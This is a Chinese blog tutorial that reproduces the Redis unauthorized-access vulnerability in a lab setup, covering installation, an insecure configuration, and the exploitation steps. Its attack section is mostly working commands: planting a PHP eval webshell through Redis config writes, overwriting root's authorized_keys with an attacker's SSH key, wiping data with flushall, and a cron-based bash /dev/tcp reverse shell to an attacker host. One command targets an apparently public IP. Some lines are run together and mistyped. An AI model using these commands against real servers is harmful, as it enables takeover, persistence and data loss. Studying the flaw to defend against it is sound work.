写点什么

redis 未授权访问漏洞复现

作者:喀拉峻
  • 2022 年 1 月 17 日
  • 本文字数:3367 字

    阅读完需:约 11 分钟

一. 应用介绍

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value 数据库。和 Memcached 类似,它支持存储的 value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持 push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis 支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性地把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

二. 漏洞介绍

Redis 因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对 Redis 未授权访问的一种新型攻击方式,在特定条件下,如果 Redis 以 root 身份运行,黑客可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是 Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问 Redis 服务并进行相关操作。目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的 watch-smartd 挖矿木马。

三. 测试环境说明

测试对象环境

对应 IP

受害者(ubuntu 16.04)

192.168.5.135

攻击者(kali)

192.168.5.125

Redis 因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露漏洞利用:核心就是进行写文件操作可以获取敏感信息,操作数据库,SSH 远程登录,写入 webshell 建议用 centos

四 .环境搭建

ubuntu16.04 安装 redis

markup

sudo apt-get updatesudo apt-get install redis-server!\[\](https://img2018.cnblogs.com/blog/1884700/202001/1884700-20200123160404334-711095053.png)查看redis是否启动,启动redis客户端,此时已经启动了,
```markupredis-cli
复制代码



启动 redis

markup

redis-server
复制代码

如果是用 apt-get 或者 yum install 安装得 redis,可以直接通过下面的命令停止/启动/重启 redis

markup

/etc/init.d/redis-server stop /etc/init.d/redis-server start /etc/init.d/redis-server restart
复制代码

如果是通过源码安装得 redis,则可以通过 redis 的客户端程序 redis-cli 的 shutdown 命令来重启 redis

1.redis 关闭

markup

redis-cli -h 127.0.0.1 -p 6379 shutdown
复制代码

① 200 多本网络安全系列电子书

② 网络安全标准题库资料

③ 项目源码

④ 网络安全基础入门、Linux、web 安全、攻防方面的视频

⑤ 网络安全学习路线图

👉 免费领取

2.redis 启动

markup

redis-server
复制代码

如果上述方式都没有成功停止 redis,则可以使用终极武器 kill -9

修改配置文件 redis.conf

markup

vim /etc/redis/redis.conf
复制代码

正常配置时,需要将 daemoize 设置为 yes(守护进程)


区别 yes:当 redis.conf 中选项 daemonize 设置成 yes 时,代表开启守护进程模式。在该模式下,redis 会在后台运行,并将进程 pid 号写入至 redis.conf 选项 pidfile 设置的文件中,此时 redis 将一直运行,除非手动 kill 该进程。no:当前界面将进入 redis 的命令行界面,exit 强制退出或者关闭连接工具(putty,xshell 等)都会导致 redis 进程退出。

redis 在开放往外网的情况下(默认配置是 bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为 6379。这里需要将它注释掉。


版本较高的 redis 还需要将 protected-mode 设为 noredis3.2 版本后新增 protected-mode 配置,默认是 yes,即开启。设置外部网络连接 redis 服务,设置方式如下:1、关闭 protected-mode 模式,此时外部网络可以直接访问 2、开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码


此时我们的靶机环境已经搭建完毕,测试(默认无密码)


五 .攻击利用

Redis 默认使用 6379 端口,使用 nmap 对服务器进行扫描

markup

Nmap -A -p 6379 –script redis-info 192.168.5.135
复制代码



kali 安装 redis 下载

markup

wget http://download.redis.io/releases/redis-5.0.7.tar.gz
复制代码

解压

markup

tar xzf redis-5.0.7.tar.gz
复制代码

会在当前目录下生成文件夹 redis-5.0.4

markup

cd redis-5.0.7make
复制代码

编译完成,进入下级目录 src,启动 redis 客户端 远程连接靶机(默认无密码)

markup

cd /src./redis-cli -h 192.168.5.135
复制代码




!!!此时已经未授权访问到靶机的 redis 通过 info 查看信息


redis 数据库的一些基本操作

markup

info  #查看redis的信息和服务器信息flushall 删除所有数据del key  删除键为key的数据get key  获得参数key的数据
复制代码

写入一句话木马写入一句话木马需要我们知道网站的根目录相对于服务器的绝对路径。靶机在 /var/www/html/dedecms/uploads 这个目录下。执行下列命令

markup

redis-cli -h 192.168.5.135set one "\\n\\n\\n<?php @eval($_POST\['c'\]);?>\\n\\n\\n"config set dir  /var/www/html/dedecms/uploadsconfig set dbfilename webshell.phpsave
复制代码

由于我的靶机上没网站,所以这里就贴个别人的图片记录一下


然后用菜刀连接


可以看到,已经连接成功了!


1.写入 ssh 公钥,获取操作系统权限将 hacker 的公钥 追加 写入 redis 服务器的 /root/.ssh 文件夹下的 authotrized_keys 文件中,即 hacker 主机 直接登录 该服务器。"公钥登录" 原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录 shell,不再要求密码。这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用 ssh-keygen 生成一个:首先在自己的电脑上生成 key:

markup

ssk-keygen
复制代码




将公钥导入 key.txt 文件(前后用\n 换行,避免和 Redis 里其他缓存数据混合),再把 key.txt 文件内容写入目标主机的缓冲里:

markup

(echo -e "\\n\\n"; cat id_rsa.pub; echo -e "\\n\\n") > key.txt
复制代码

markup

 config set dir /root/.ssh/
复制代码

这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory 这是因为 root 从来没有登录过,在被攻击机执行 ssh localhost 即可(error) ERR Changing directory: Permission denied 说明 redis 并不是以 root 启动的

六.总结

go

利用redis-cli 连接 该服务器redis-cli -h 173.239.46.188#  删除所有数据库以及key!!((保证写入的数据不掺杂其他数据)慎用 !!flushall# 把公钥文件gy (通过redis自身方法)  写入 服务器的内存  返回OKcat gy.txt | redis-cli -h 173.239.46.188 -x set crackit# 利用redis查看当前目录192.168.5.135> config get dir1) "dir"2) "/var/spool/cron"# 进入目录 设置保存路径  /Users/用户名/.ssh  可能OK 也可能非root用户权限不足(error) ERR Changing directory: Permission denied192.168.5.135:6379> config set dir /root/.ssh/# 设置数据库名192.168.5.135:6379> config set dbfilename "authorized_keys"OK# 保存数据库的内容到/root/.ssh/authorized_keys 会覆盖之前的!!  会导致之前设置的所有ssh免登录失效!!!192.168.5.135:6379> saveOK#-------------------------------------------------# 通过自己本机的私钥登陆服务器ssh -i  id_rsa root@192.168.5.135
复制代码

2.centos 定时反弹 shell,(ubuntu 可能不行)我们可以将 linux 反弹 shell 的命令写入定时任务中,这样,我们就可以接收到 redis 服务器反弹过来的 shell 了

powershell

redis-cli -h 192.168.1.8set test "\\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\\n" #意思是每隔一分钟,向192.168.1.4的4444端口反弹shellconfig set dir /var/spool/cron  #设置工作目录(error) ERR Changing directory: Permission denied查看/var/spool/cron 目录权限为700,且为root创建即使该普通用户具有sudo权限也不行
config set dbfilename "root" #设置文件名,当前用户叫啥就得命名为啥,当前用户为rootsave
#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写
复制代码


发布于: 刚刚阅读数: 2
用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
redis未授权访问漏洞复现